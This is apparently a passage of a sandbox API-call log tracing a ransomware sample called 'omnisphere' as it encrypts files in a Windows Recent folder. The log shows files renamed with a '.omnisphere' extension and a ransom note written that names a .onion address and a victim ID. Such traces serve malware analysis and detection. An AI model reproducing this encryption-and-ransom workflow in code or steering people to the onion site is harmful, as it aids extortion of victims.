pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.197] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.198] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.199] CryptDestroyKey (hKey=0x1639b28) returned 1 [0120.199] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0120.199] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x345, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.199] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.199] GetProcessHeap () returned 0x1600000 [0120.199] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b4) returned 0x16bd0a0 [0120.199] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fXjbV28LC0IFk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fxjbv28lc0ifk.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fXjbV28LC0IFk.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fxjbv28lc0ifk.lnk.omnisphere")) returned 1 [0120.200] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fXjbV28LC0IFk.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fXjbV28LC0IFk.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fXjbV28LC0IFk.lnk.omnisphere.id" [0120.200] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fXjbV28LC0IFk.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fxjbv28lc0ifk.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.200] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.201] CloseHandle (hObject=0x3c0) returned 1 [0120.201] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.201] CloseHandle (hObject=0x288) returned 1 [0120.202] SetEndOfFile (hFile=0x28c) returned 1 [0120.202] FlushFileBuffers (hFile=0x28c) returned 1 [0120.205] CloseHandle (hObject=0x28c) returned 1 [0120.205] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fXjbV28LC0IFk.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.205] GetProcessHeap () returned 0x1600000 [0120.205] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c9018 [0120.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.205] GetProcessHeap () returned 0x1600000 [0120.205] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1d20 [0120.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1d20, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.205] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.206] GetProcessHeap () returned 0x1600000 [0120.206] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16affa8 [0120.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16affa8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.206] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.206] GetProcessHeap () returned 0x1600000 [0120.206] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf190 [0120.206] PathCombineW (in: pszDest=0x16bf190, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.206] GetProcessHeap () returned 0x1600000 [0120.206] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c4440 [0120.206] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.206] WriteFile (in: hFile=0x28c, lpBuffer=0x16c4440*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c4440*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.206] CloseHandle (hObject=0x28c) returned 1 [0120.206] GetProcessHeap () returned 0x1600000 [0120.206] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c9018 | out: hHeap=0x1600000) returned 1 [0120.206] GetProcessHeap () returned 0x1600000 [0120.206] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e2b8 [0120.206] PathCombineW (in: pszDest=0x162e2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.207] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.207] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.207] CloseHandle (hObject=0x28c) returned 1 [0120.207] GetProcessHeap () returned 0x1600000 [0120.207] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e2b8 | out: hHeap=0x1600000) returned 1 [0120.207] GetProcessHeap () returned 0x1600000 [0120.207] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.207] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f68f43, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22f68f43, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22f68f43, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3cb, dwReserved0=0x0, dwReserved1=0xd3, cFileName="gqY92gjilZV.lnk", cAlternateFileName="GQY92G~1.LNK")) returned 1 [0120.207] GetProcessHeap () returned 0x1600000 [0120.207] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x16566d0 [0120.208] PathCombineW (in: pszDest=0x16566d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="gqY92gjilZV.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqY92gjilZV.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqY92gjilZV.lnk" [0120.208] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.208] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqY92gjilZV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gqy92gjilzv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.208] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=971) returned 1 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.208] GetTickCount () returned 0x115e089 [0120.209] GetTickCount () returned 0x115e089 [0120.209] GetTickCount () returned 0x115e089 [0120.209] GetTickCount () returned 0x115e089 [0120.209] GetTickCount () returned 0x115e089 [0120.209] GetTickCount () returned 0x115e089 [0120.209] GetTickCount () returned 0x115e089 [0120.209] GetTickCount () returned 0x115e089 [0120.209] GetTickCount () returned 0x115e089 [0120.209] GetTickCount () returned 0x115e089 [0120.209] GetTickCount () returned 0x115e089 [0120.209] GetTickCount () returned 0x115e089 [0120.209] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668c58) returned 1 [0120.209] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0120.209] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.210] CryptDestroyKey (hKey=0x1639b28) returned 1 [0120.210] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0120.210] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3cb, lpName=0x0) returned 0x288 [0120.210] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3cb) returned 0x1480000 [0120.210] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0120.211] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0120.211] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.211] CryptEncrypt (in: 